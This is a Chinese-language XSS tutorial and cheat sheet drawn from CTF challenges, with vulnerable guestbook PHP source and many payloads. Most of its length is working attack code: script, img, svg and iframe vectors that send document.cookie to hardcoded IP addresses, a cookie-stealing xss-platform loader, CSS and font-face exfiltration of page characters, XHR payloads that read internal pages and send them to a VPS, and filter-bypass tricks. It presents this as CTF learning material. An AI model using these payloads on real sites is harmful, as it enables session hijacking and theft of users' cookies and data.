xss简单漏洞的实现
(附靶机关键源码)
存储型xss
- 简介:在可以提交表单的地方留下js恶意代码,利用漏洞存储进后端,引发安全问题
基本操作大家应该都懂,下面给大家看一下漏洞源码,理解一下原理
源码
| <?php |
| |
| if( isset( $_POST[ 'btnSign' ] ) ) { |
| |
| $message = trim( $_POST[ 'mtxMessage' ] ); |
| $name = trim( $_POST[ 'txtName' ] ); |
| |
| |
| |
| $message = stripslashes( $message ); |
| |
| $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); |
| |
| |
| |
| |
| $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); |
| |
| |
| $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; |
| $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); |
| |
| |
| } |
| |
| ?> |
| ———————————————— |
xss
(DOM based Cross Site Scripting)
源码(待更新)
首先寻找注入点,
在可以写东西并提交表单的地方写下面这些
| <script>alert("1");</script> |
| <img src="aaa" onerror = <script>alert(1);</script>/> |
(也不一定非得onerror,可以参考HTML 事件 | 菜鸟教程 (runoob.com))
| <script>alert(1);</script> |
正常来说以上都会失败(因为太简单了)
以下是高级一点点的做法(再高级的话结合下面的绕过,因为大概率是未绕过才无法成功)
这个看康会不会回显2,成功的话说明它引用了框架,要利用它的框架漏洞
也可以是在get传参的地方
js代码中的提示你传参的地方
其实也是纯在提交表单且回显的地方,不过插入的是css而不是js
有一种直接xss的,不过文章显示2009年,估计如今早已成为历史
(46条消息) css中的xss漏洞_kuiyuexiang的博客-CSDN博客
| #header {background:url(javascript:alert('script injected'))} |
| #header {</textarea><script>alert('script injected');</script> |
| #header {</textarea><script>window.location.href='http://hi.baidu.com';</script> |
参考这个,很全4.2.9.2. CSS 注入 — Web安全学习笔记 1.0 文档 (websec.readthedocs.io)
据此归纳一下
<style>
标签里面可以写css,而css可以直接是我们构造的恶意代码,这里由于存在限制,我们采取一种盲注的思维
| <style> |
| #form2 input[value^='a'] { background-image: url(http://localhost/log.php/a); } |
| #form2 input[value^='b'] { background-image: url(http://localhost/log.php/b); } |
| #form2 input[value^='c'] { background-image: url(http://localhost/log.php/c); } |
| [...] |
| </style> |
当第一个字符匹配成功的时候会访问http://localhost/log.php/a
通常是盲注/flag界面的flag{某某.........
有个题目miku师傅做出来的,分享以下脚本
| import re |
| import base64 |
| import requests |
| |
| next = '' |
| url = "http://193.57.159.27:47625/" |
| proxies = {'http': 'http://localhost:7890', 'https': 'http://localhost:7890'} |
| newcookie = '' |
| char = "opqrstuvwxyzabcdefghijklmn0123456789QWERTYUIOPASDFGHJKLZXCVBNM_-,{}" |
| |
| def post(j): |
| cookie = { |
| 'session' : 'eyJjc3MiOiIyMzQyMzQifQ.Ym02QA.0tJCmX5HeHwyEQGZacH6OukJyc8' |
| } |
| data = { |
| "css" : f'''input[value^="DOCTF{{CSS_d4t4_3x{j}"] |
| {{background-image:url("http://120.79.0.164:1236 |
| ");}}'''} |
| |
| print("post ------------ j = " + j) |
| res = requests.post(url, cookies=cookie, proxies=proxies, data=data) |
| print("post ok") |
| return res.cookies |
| |
| def get(i): |
| print("get ------------ ") |
| res2 = requests.get(url + "submit_for_review", cookies=i) |
| print("get ok") |
| |
| for i in range(100): |
| for j in char: |
| res1cookie = post(j) |
| get(res1cookie) |
当可以插入CSS的时候,可以使用 font-face
配合 unicode-range
获取目标网页对应字符集。PoC如下
| <style> |
| @font-face{ |
| font-family:poc; |
| src: url(http://attacker.example.com/?A); |
| unicode-range:U+0041; |
| } |
| @font-face{ |
| font-family:poc; |
| src: url(http://attacker.example.com/?B); |
| unicode-range:U+0042; |
| } |
| @font-face{ |
| font-family:poc; |
| src: url(http://attacker.example.com/?C); |
| unicode-range:U+0043; |
| } |
| #sensitive-information{ |
| font-family:poc; |
| } |
| </style> |
| <p id="sensitive-information">AB</p> |
当字符较多时,则可以结合 ::first-line
等CSS属性缩小范围,以获取更精确的内容
get cookie
nc也可
强烈建议python
| python3 -m http.server {Port} |
来源ctfshow的xss
| 外带 |
| |
| <script> |
| var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie; |
| </script> |
| <script>window.open('http://118.31.168.198:39543/'+document.cookie)</script> |
| |
| <script>location.href='http://118.31.168.198:39543/'+document.cookie</script> |
| |
| <script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script> |
| |
| <input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus> |
| 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发 |
| |
| <svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)"> |
| |
| <iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe> |
| |
| <body onload="window.open('http://118.31.168.198:39543/'+document.cookie)"> |
利用平台:xss-platform
执行恶意getcookie代码
| (function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=LaRde1&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})(); |
简单来说,原理是:当提交这个吐槽内容时,后台会执行里面的恶意代码,将自己的cookie等重要信息通过get明文传输给xssplatform网站,网站那边会记录下我们得到的cookie
有时候没能带出cookie(考虑绕过,如同源策略),或者cookie为空,或者flag是一个已经声明的js变量,可以选择遍历window所有键值
参考一道hgame2022微信留言板:
解法
| <img src=1 onerror="document.getElementsByClassName('content')[0].innerText=Object.keys(window)"> |
js小知识:参考HTML DOM getElementsByClassName() 方法 | 菜鸟教程 (runoob.com)
document.getElementsByClassName(classname) 功能:返回一个html中的类名为classname的标签的所有内容
innerText 指的是文本内容
合起来:就是匹配html中标签的类名为classname的文本
看菜鸟的例子就明白了(document.getElementsByClassName(classname)匹配到红色的,innerText 匹配到蓝色的)
常见的还有
document.getElementsByTagName,也是可以匹配标签的
然后可以看见这个等号是个赋值操作,Object.keys(a)是要指定一个对象a的,功能是返回该对象的键名。
这里选择了windows类,为何呢,请看下图
因为代码中的flag没有在任何js函数体内定义,所以显然属于全局变量,根据上图可知属于windows类的一个属性(会以键值对的形式存储在类中)
所以我们需要的是遍历键值对!
因为windows类这个“全局变量都属于它”的特性,常被用于js代码的信息收集
wp的思路比较巧妙,使用Object.keys(window)把所有全局变量的键名key都打印出来,放到content标签下,那道题目中的留言板恰好有个content标签,所以就直接可以回显出来
而恰好flag的键名key是有特点的,所以在取出它的值value即可
| <img src=1 onerror="document.getElementsByClassName('content')[0].innerText = F149_is_Here"> |
总结:
遍历windows的key,可以这样
自己构造xmlrequest:XMLHttpRequest - Web API 接口参考 | MDN (mozilla.org)
比如说(46条消息) PDF解析器html/XSS 实现SSRF_火线安全的博客-CSDN博客_pdf解析器
漏洞版本:wkhtmltopdf 全版本目前0.12.6,weasyprint <=48
假如需要在内网发送请求,比如说内网访问登录页面并post传用户名密码,或者内网访问超时(加载css等超时)需要用xml读取数据
发送请求并传递post数据 payload
| <script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script> |
还有一种方法
从源代码中的js文件中找到的一个ajax提交
就是异步提交,只要可以执行js就可以使用下面的语句,能不能ssrf要看漏洞在客户端还是在服务端
| <script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script> |
参考CTFshow-web入门-XSS_哔哩哔哩_bilibili
发送请求并外带xml
| <script>var xmlhttp1=new XMLHttpRequest(); |
| xmlhttp1.open("GET","http://localhost:5000/admin",false); |
| xmlhttp1.send(); |
| var xmlhttp=new XMLHttpRequest(); |
| xmlhttp.open("GET","http://8.129.42.140:3307/"%2B btoa(xmlhttp1.responseText),true); |
| xmlhttp.send();</script> |
如上文,其实是两个请求,前面先请求得到内网的xml代码(简单理解为html静态界面代码),之后再发送到我们的vps监听端口上
不过自动base64编码了,还得解码后改html后缀打开
过滤空格
用tab代替,在hackbar中写入%09,利用hackbar进行urldecode
用/**/代替
换payload
堆注入
非典型堆注入
| ?username=</script><script>alert(1)</script> |
可能的过滤是:标签(直接防注入),单引号(防堆注入)
| <scr<script>ipt>alert("XSS")</scr<script>ipt> |
| 3 行内样式(Inline style) |
| |
| 我们同样可以在行内样式里利用 IE 浏览器支持的动态特性: |
| <div style="color: expression(alert('XSS'))"> |
| 过滤器会检查关键字 style,随后跟随的不能是 <,在随后是 expression: |
| /style=[^<]*((expression\s*?[<]∗? |
| |
| )|(behavior\s*:))[^<]*(?=\>)/Uis |
| 所以,让我们需要把 < 放到其他地方: |
| <div style="color: '<'; color: expression(alert('XSS'))"> |
简单代码审计:
-
escape:编码函数,可以把payload编码为十六进制字符,很难解密
-
location.search: 返回匹配到的字符串,该函数把url中“?”以后的字符串返回(包括“?”)
-
document.getElementById:给某某一个指定id
-
innerHTML=("xxx"): 把起始标签和结束标签的内容换为xxx
遇到了棘手的escape函数,几乎没法绕过,那么这里使用闭合前面的单引号绕过
为什么alert(1)前面不加
是怕被过滤
| </script>以后的不会过滤(因为开发者选项中</script>被解析了) |
上面这条特性来绕过,
| username=</script><script>alert(1)</script> |
| username=<img src="javacript::alert(1)" onclick="alert(1);"> |
然后点击那个裂了的图
知识背景:
- 很多HTML标记中的属性都支持javascript:[code]伪协议(伪链接)的形式,这就给了注入XSS可乘之机,当然,要在客户端将执行网页链接的地方插入
简单的代码审计:
-
getQueryVariable函数
url 实例:
调用 getQueryVariable("id")返回 1。
调用 getQueryVariable("image") 返回 "awesome.jpg"。
设计一个伪链接欺骗浏览器跳转,然而其实链接是一段即使被escape函数编码也能执行的js恶意脚本,跳转链接即执行!
| /level4?jumpUrl=javascript:alert(1); |
核心代码如下:(前面传参要代码审计)
代码审计:
- location.href: 属性是一个可读可写的字符串,可设置或返回当前显示的文档的完整 URL
——只有特殊字符才会被编码
当输入经典xss语句时候,回显如下
| /%3Cscript%3Ealert(1);%3C/script%3E |
说明被escape函数编码(事实上是一种url编码,可以逆回来)
推荐如下绕过
这个考验对搜索引擎的掌握,先用
生效以后说明存在该2注入点,再去看F12(source)
关于http only
如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,具体如何设置:response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly") 。所以在head里可以看到一些特征
关于同源策略
参考[Web安全(一)---浏览器同源策略 - 云+社区 - 腾讯云 (tencent.com)](https://cloud.tencent.com/developer/article/1744586#:~:text=浏览器的同源策略目的是为了保护用户的信息安全%2C为了防止恶意网站窃取用户在浏览器上的数据%2C如果 不是同源 的站点%2C将不能进行如下操作 %3A 1 Cookie、LocalStorage 和,IndexDB 无法读写 2 DOM 和 Js对象无法获得 3 AJAX请求不能发送)
这里归纳一下:同协议,同端口,同域名(一级域名,二级域名)就是同源。浏览器的同源策略目的是为了保护用户的信息安全,为了防止恶意网站窃取用户在浏览器上的数据,如果不是同源
的站点,将不能进行如下操作 :
- Cookie、LocalStorage 和 IndexDB 无法读写
- DOM 和 Js对象无法获得
- AJAX请求不能发送
来看一个场景,假设admin访问flag界面会出现flag,普通用户不会,然后我们找到了xss点,原本想直接xss getcookie伪造admin访问flag,但是
直接带cookie为什么带不出来呢,猜测设置了http only,再结合the admin bot will be able to access this这句话,会不会是XSS+CSRF呢,再看一眼目标站点为https://xtra-salty-sardines.web.actf.co/,bot站点为https://admin-bot.actf.co/xtra-salty-sardines,一级域名同源,可以试一波
特点是:可以访问,但是不会把cookie给你
参考jacko神的文章
| <script> |
| const xhr = new XMLHttpRequest(); |
| xhr.open('GET','https://xtra-salty-sardines.web.actf.co/flag'); |
| xhr.send(); |
| xhr.onreadystatechange = function(){ |
| if(xhr.readyState === 4){ |
| if(xhr.status >= 200 && xhr.status < 300){ |
| window.open('https://ctf.jan.show/'+'?flag='+xhr.response); |
| } |
| } |
| } |
| </script> |
就是
- 先让admin请求同源的域名下的flag界面https://xtra-salty-sardines.web.actf.co/flag
- 再带着这个页面访问恶意vps